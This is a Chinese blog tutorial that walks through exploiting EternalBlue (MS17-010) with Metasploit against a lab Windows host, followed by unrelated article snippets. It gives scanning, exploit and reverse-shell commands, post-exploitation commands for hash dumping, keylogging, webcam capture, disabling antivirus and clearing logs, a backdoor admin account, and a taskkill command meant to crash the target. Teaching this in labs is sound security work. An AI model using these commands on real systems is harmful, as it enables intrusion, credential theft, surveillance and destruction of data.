永恒之蓝漏洞 ms17_010 详解

文章目录

  • 永恒之蓝 ms 17_010
    • 1.漏洞介绍
      • 1.1 影响版本
      • 1.2 漏洞原理
    • 2.信息收集
      • 2.1 主机扫描
      • 2.2 端口扫描
    • 3. 漏洞探测
    • 4. 漏洞利用
    • 5.后渗透阶段
        • 5.1创建新的管理员账户
        • 5.2开启远程桌面
        • 5.3蓝屏攻击

永恒之蓝 ms 17_010

1.漏洞介绍

永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

1.1 影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

1.2 漏洞原理

通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

2.信息收集

2.1 主机扫描

arp-scan -l

image-20231025212952229

2.2 端口扫描

nmap -O -sS -T4 192.168.160.52

说明:

  • -O:这个选项告诉Nmap进行操作系统识别。它会尝试通过分析目标主机的网络行为和响应来猜测其运行的操作系统类型。
  • -sS:这个选项启用了TCP SYN扫描(也称为半开放扫描)。在进行端口扫描时,Nmap发送一个TCP SYN包到目标主机上的每个目标端口,如果收到了一个SYN/ACK响应,说明该端口是打开的。
  • -T4:这个选项设置了扫描的速度/时间模板。T4是Nmap的默认设置之一,表示较高的扫描速度和更少的等待时间。

image-20231025213432416

3. 漏洞探测

msfconsole
# 搜寻模块
search ms17-010

image-20231025213531757

# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info

image-20231025213749279

show missing # 查看需要配置哪些信息

image-20231025213854067

这里需要配置远程主机的IP地址,也就是靶机的IP地址。

set rhosts 192.168.160.52

image-20231025214110486

使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

show options 

image-20231025214154262

开始攻击:

run

image-20231025214327576

显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

4. 漏洞利用

search ms17-010

image-20231025214515861

设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

set payload windows/x64/meterpreter/reverse_tcp

image-20231025214921034

设置攻击目标

set rhosts 192.168.160.52
run

image-20231025215127969

拿下该主机的shell,执行cmd命令。

在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

运行了run(exploit)命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

查看主机系统信息

sysinfo

image-20231025220543217

查看IP地址信息:

ipconfig

image-20231025223621940

查看用户身份

getuid

image-20231025215221261

获得shell控制台

shell

image-20231025220730312

如果乱码受不了的话,输入:chcp 65001 即可:

image-20231025220840596

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

获取用户密码

run windows/gather/smart_hashdump 或者 hashdump

image-20231025221332859

image-20231025221356217

5.1创建新的管理员账户

进入shell控制台

image-20231025221513980

在目标主机上创建一个名为ghui的用户,密码为123456

image-20231025221623423

将ghui加入到windows 7的本地管理员组中,以便获得更大权限

net localgroup administrators ghui /add

image-20231025222313443

查看本地用户

net user

image-20231025222352832

查看本地管理员

net localgroup administrators

image-20231025222501204

可以看到ghui已经被添加到windows管理员组中。

5.2开启远程桌面

运用getuid脚本开启目标主机远程桌面:

run getgui -e或者run post/windows/manage/enable_rdp

image-20231025222838315

在kali终端输入

rdesktop 192.168.160.52

image-20231025223038965

选择其他用户:

image-20231025223109927

登录之前创建得ghui用户,密码123456:

image-20231025223320461

5.3蓝屏攻击

最后一步,让它蓝屏:

taskkill /f /fi "pid ne 1"

解释:

taskkill 用于终止运行中的进程,表示杀进程。
/f 是一个参数,表示强制终止进程。
/fi 是一个参数,用于指定进程过滤器(filter)。
"pid ne 1" 是一个过滤器表达式,用于筛选进程。在这个例子中,pid 代表进程的 ID(PID),ne 表示不等于,1 是要排除的进程 ID。换句话说,这个命令会终止除了进程 ID 为 1(通常是系统进程)之外的所有进程。

执行结果:

image-20231025223519261

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/106853.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

搜索引擎搜索技巧总结

晚上在B站上刷到一个关于搜索技巧的干货视频,这个视频真的不错,结尾还提到了AI时代的搜索思路之前自己也零碎的探索出了一些搜索技巧,但是没有总结,就没法稳定的加入自己的工作流,持续提高效率受到这个视频的启发&…

MySQL 5.7限制general_log日志大小

背景 需求: 在MySQL 5.7.41中开启general_log 并限制其大小,避免快速增长占用硬盘空间。 解决: 通过定时任务,执行简单的脚本,判断general_log 日志的大小,实现对通用查询日志的“每日备份”或“每日清…

毅速丨哪些金属材料在3D打印中应用最多

金属3D打印作为一种新兴的制造技术已经在很多领域得到广泛应用,目前金属3D打印应用较多的材料有不锈钢、钛合金、铝合金、钴铬合金、镍基合金、模具钢等,其中不锈钢材料的应用最为常见。 这些金属3D打印材料各有其特点和适用场景,可以根据具体…

Qt重定向QDebug,Qt/C++开源作品39-日志输出增强版V2022

Qt重定向QDebug,自定义一个简易的日志管理类 Chapter1 Qt重定向QDebug,自定义一个简易的日志管理类0.前言1.最简单的操作运行结果2.实现一个简易的日志管理类 Chapter2 Qt::Qt Log日志模块Qt Log日志模块官方解释官方Demo思路 Chapter3 QT日志模块的个性…

蓝桥杯 第 2 场算法双周赛 第3题 摆玩具【算法赛】 c++ 贪心

题目 摆玩具【算法赛】https://www.lanqiao.cn/problems/5888/learning/?contest_id145 问题描述 小蓝是一个热爱收集玩具的小伙子,他拥有 n 个不同的玩具。 这天,他把 n 个玩具按照高度顺序从矮到高摆放在了窗台上,然后,他希…

阿里云对象存储OSS文件无法预览,Bucket设置了Referer

您发起的请求头中没有Referer字段或Referer字段为空,与请求Bucket设置的防盗链策略不相符。 解决方案 您可以选择以下任意方案解决该问题。 在请求中增加Referer请求头。 GET /test.txt HTTP/1.1 Date: Tue, 20 Dec 2022 08:48:18 GMT Host: BucketName.oss-examp…

Docker GitLab-Runner安装

Docker GitLab-Runner安装 GitLab-Runner安装 问题合集GitLab 域名的配置修改Runner容器内注册失败,提示 dial tcp: lookup home.zsl0.com on 192.168.254.2:53: no such host GitLab-Runner 安装 拉去gitlab/gitlab-runner镜像 docker pull gitlab/gitlab-runne…

汽车行驶性能的主观评价方法(1)-底盘校准方法

底盘校准的目的是,从行驶性能和行驶舒适性两个方面进行协调,从而优化行驶动力学特性。为了达到这一目标,工程人员早在设计阶段,就对大多数对行驶动力性有重要意义的部件提出了要求。这些要求不仅与底盘的组件有关,还必…

轻量封装WebGPU渲染系统示例<2>-彩色立方体(源码)

当前示例源码github地址: https://github.com/vilyLei/voxwebgpu/blob/version-1.01/src/voxgpu/sample/VertColorCube.ts 此示例渲染系统实现的特性: 1. 用户态与系统态隔离。 2. 高频调用与低频调用隔离。 3. 面向用户的易用性封装。 4. 渲染数据和渲染机制分离。 5. …

超宽带技术在汽车领域的应用

随着科技的不断发展,超宽带(Ultra-Wideband, UWB)技术在各个领域展现出了强大的潜力,其中汽车领域更是受益匪浅。UWB技术以其高精度的定位能力、高速的数据传输和低功耗的特点,为汽车行业带来了许多创新。本文将探讨UW…

20.1 OpenSSL 字符BASE64压缩算法

OpenSSL 是一种开源的加密库,提供了一组用于加密和解密数据、验证数字证书以及实现各种安全协议的函数和工具。它可以用于创建和管理公钥和私钥、数字证书和其他安全凭据,还支持SSL/TLS、SSH、S/MIME、PKCS等常见的加密协议和标准。 OpenSSL 的功能非常…

安卓开发实例:方向传感器

调用手机的方向传感器&#xff0c;X轴&#xff0c;Y轴&#xff0c;Z轴的数值 activity_sensor.xml <?xml version"1.0" encoding"utf-8"?> <androidx.constraintlayout.widget.ConstraintLayoutxmlns:android"http://schemas.android.c…

Git Gui使用技巧

资料 https://www.runoob.com/w3cnote/git-gui-window.html 操作过程 创建仓库→添加远程仓库→扫描目录→文件移动→提交→上传 注意填注释 文件忽略 创建文件.gitignore→编写内容 *.log #文件 config.ini #文件 temp/ #目录

Linux--安装与配置虚拟机及虚拟机服务器坏境配置与连接---超详细教学

一&#xff0c;操作系统介绍 1.1.什么是操作系统 操作系统&#xff08;Operating System&#xff0c;简称OS&#xff09;是一种系统软件&#xff0c;它是计算机硬件和应用软件之间的桥梁。它管理计算机的硬件和软件资源&#xff0c;为应用程序提供接口和服务&#xff0c;并协调…

spark

spark Spark可以将Hadoop集群中的应用在内存中的运行速度提升100倍&#xff0c;甚至能够将应用在磁盘上的运行速度提升10倍。除了Map和Reduce操作之外&#xff0c;Spark还支持SQL查询&#xff0c;流数据&#xff0c;机器学习和图表数据处理。开发者可以在一个数据管道用例中单独…

面试总结之消息中间件

RabbitMQ的消息如何实现路由 RabbitMQ是一个基于AMQP协议实现的分布式消息中间件&#xff0c;AMQP具体的工作机制是生产者将消息发送到RabbitMQ Broker上的Exchange交换机上&#xff0c;Exchange交换机将收到的消息根据路由规则发给绑定的队列&#xff08;Queue&#xff09;&am…

汇总区间(Java)

大家好我是苏麟 , 这篇文章也是凑数的 ... 描述 : 给定一个 无重复元素 的 有序 整数数组 nums 。 返回 恰好覆盖数组中所有数字 的 最小有序 区间范围列表 。也就是说&#xff0c;nums 的每个元素都恰好被某个区间范围所覆盖&#xff0c;并且不存在属于某个范围但不属于 n…

C++之特殊类的设计

目录 一、单例模式 1、设计模式 2、单例模式 1、饿汉模式 2、懒汉模式 3、单例对象的释放问题 二、设计一个不能被拷贝的类 三、设计一个只能在堆上创建对象的类 四、设计一个只能在栈上创建对象的类 五、设计一个不能被继承的类 一、单例模式 1、设计模式 概念&am…

二分归并法将两个数组合并

#define _CRT_SECURE_NO_WARNINGS 1 #include<stdio.h> main() {int a[5] {1,3,4,5,6};int b[4] {2,7,8,9};int c[9];int m0, n0,k0;while (m < 5 && n < 4){if (a[m] < b[n]){c[k] a[m];//谁小谁先进数组m; k;}else{c[k] b[n];k; n;}}while (m <…

【Java从入门到大牛】特殊文本文件和日志技术

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;Java从入门到大牛 &#x1f320; 首发时间&#xff1a;2023年10月27日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f4…